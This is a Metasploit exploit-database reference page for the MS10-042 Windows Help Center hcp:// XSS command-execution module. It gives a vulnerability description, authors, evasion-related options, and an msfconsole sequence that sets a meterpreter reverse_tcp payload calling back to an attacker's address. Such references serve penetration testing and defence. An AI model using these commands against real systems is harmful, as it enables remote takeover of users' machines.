Microsoft Help Center XSS and Command Execution | Metasploit Exploit Database (DB)

Microsoft Help Center XSS and Command Execution

Help and Support Center is the default application provided to access online documentation for Microsoft Windows. Microsoft supports accessing help documents directly via URLs by installing a protocol handler for the scheme "hcp". Due to an error in validation of input to hcp:// combined with a local cross site scripting vulnerability and a specialized mechanism to launch the XSS trigger, arbitrary command execution can be achieved. On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it can be used to launch the exploit automatically. If IE8 and WMP11, either can be used to launch the attack, but both pop dialog boxes asking the user if execution should continue. This exploit detects if non-intrusive mechanisms are available and will use one if possible. In the case of both IE8 and WMP11, the exploit defaults to using an iframe on IE8, but is configurable by setting the DIALOGMECH option to "none" or "player".

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Exploit Rank

  • Excellent

Exploit Authors

  • Tavis Ormandy < >
  • natron < natron [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec
msf exploit(ms10_042_helpctr_xss_cmd_exec) > show payloads
msf exploit(ms10_042_helpctr_xss_cmd_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_042_helpctr_xss_cmd_exec) > set LHOST [MY IP ADDRESS]
msf exploit(ms10_042_helpctr_xss_cmd_exec) > exploit


Exploit Module Options

DIALOGMECH IE8/WMP11 trigger mechanism (none, iframe, or player). (default: iframe)
SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The daemon port to listen on (default: 80)
SSLCert Path to a custom SSL certificate (default is randomly generated)
URIPATH The URI to use. (default: /)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)